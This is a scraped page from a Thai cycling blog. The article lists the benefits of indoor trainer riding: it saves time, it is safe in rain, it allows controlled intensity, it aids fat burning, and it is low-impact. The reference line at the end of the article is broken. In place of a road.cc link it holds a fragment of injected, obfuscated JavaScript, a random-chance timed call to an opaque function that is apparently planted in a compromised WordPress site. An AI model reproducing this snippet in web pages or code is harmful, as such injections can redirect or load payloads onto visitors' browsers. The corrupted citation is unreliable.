• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ฝนตกปั่นอยู่บ้านก็ได้: ประโยชน์ดีๆ ของการปั่น Trainer

kan by kan
28 July 2019
in Cycling Tips, News
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ในวันที่ฟ้าฝนไม่เป็นใจ ไม่ว่ารถจะติดไปสนามซ้อมไม่ทันหรือฝนตกถนนเปียกลื่นไม่เหมาะกับการฝึกซ้อม และหากต้องการโฟกัสฝึกซ้อมระดับ Intensity ด้วยละก็การปั่น trainer สามารถตอบโจทย์คุณได้

ฝนตกปั่นอยู่บ้านก็ได้: ประโยชน์ดีๆ ของการปั่น Trainer

1. ปั่น trainer ใช้เวลาน้อย สามารถบริหารเวลาได้ดีและให้ผลในการฝึกอย่างมีประสิทธิภาพ ใช้เวลาในการเตรียมอุปกรณ์น้อย แค่ตัวจักรยาน กางเกงและรองเท้าปั่นก็กระโดดขึ้นก็ปั่นได้เลย แถมแทนที่จะเสียเวลาไปกับการเดินทางและการเตรียมอุปกรณ์เครื่องดื่มและอาหาร คุณจะมีทุกอย่างพร้อมในบ้าน สามารถเดินไปมาหยิบของในตู้เย็นได้เลย

cyclingweekly.com

2. มีความปลอดภัยสูง เพราะการปั่นในช่วงที่ฝนตกหรือเพิ่งหยุดตกใหม่ๆ พื้นถนนจะเปียกลื่น ความสามารถในการยึดเกาะพื้นผิวถนนจะน้อยลง การเบรกหรือเข้าโค้งต้องใช้ความระมัดระวังสูง แต่การขึ้นปั่นเทรนเนอร์แทบจะไม่มีความเสี่ยงเลย ไม่ต้องกกังวลเรื่องเบรก เรื่องการเข้าโค้งและการระวังรถสวนไปมา สามารถปั่นได้สบายใจ

3. ให้การฝึกคุณได้ประสิทธิผลสูงสุด เพราะการฝึกปั่นบน trainer จะสามารถทำสิ่งที่เรียกว่า controlled & targeted training ได้ดีที่สุด ด้วยสภาวะแวดล้อมที่ควบคุม ไม่มีรถสวนไปมา ไม่มีลมพัด ไม่มีสภาพผิวถนนมากระทบ เราสามารถทำให้การปั่นนิ่ง นั้นคือสามารถควบคุมรอบการปั่น อัตราการเต้นของหัวใจได้เกือบร้อยเปอร์เซ็นต์ ซึ่งหากเป็นการปั่น outdoor เราจะต้องปรับเปลี่ยนจังหวะการปั่นไปตามท้องถนนจริง ณ เวลานั้นๆ

I Love Bicycling

ประโยชน์อื่นๆ ที่สามารถดึงเอามาจากการปั่น Trainer คือ…การช่วยลดหุ่นได้ เพราะเราคุมรอบการปั่นได้ดี เราจึงประคอบหัวใจให้อยู่ในโซน 2 หรือ โซน 3 ได้ดี ช่วยให้ร่างกายดึงออกซิเจนมาเผาผลาญไขมันได้มากขึ้น หากจะผสมความหนักเบาในการปั่นก็จะช่วยให้คุณเผาผลาญพลังงานแคลอรี่ได้เพิ่มขึ้นและเป็นการฝึกกล้ามเนื้อไปในตัว

มีความเหมาะสำหรับคนทุกเพศทุกวัย เพราะเป็นกีฬาปะเภท Low-impact ไม่มีการเจ็บตัว หรือไปกระแทกใครแน่นอน นักออกกำลังกายมือใหม่ที่ไม่เคยปั่นก็จะได้มีเวลาฝึกก่อนลงสนามจริง จนถึงมือเก๋าที่สามารถใช้ฝึกเรียกความฟิตกลับมาหรือรักษาความฟิตก็ได้

Trainer ยังใช้ง่ายและสะดวก เป็นอุปกรณ์ออกกำลังกายที่กินพื้นที่น้อย สามารถใช้งานได้ทุกที่ทุกเวลา จะปั่นไปดูทีวีไปก็ยังได้

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-how-make-it-fun-too?fbclid=IwAR1i_RLPeaenBWzKYET63U7iQ_EtPh9dWwWFlunEFyKKOkLosFK21D7kPtI”>road.cc

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.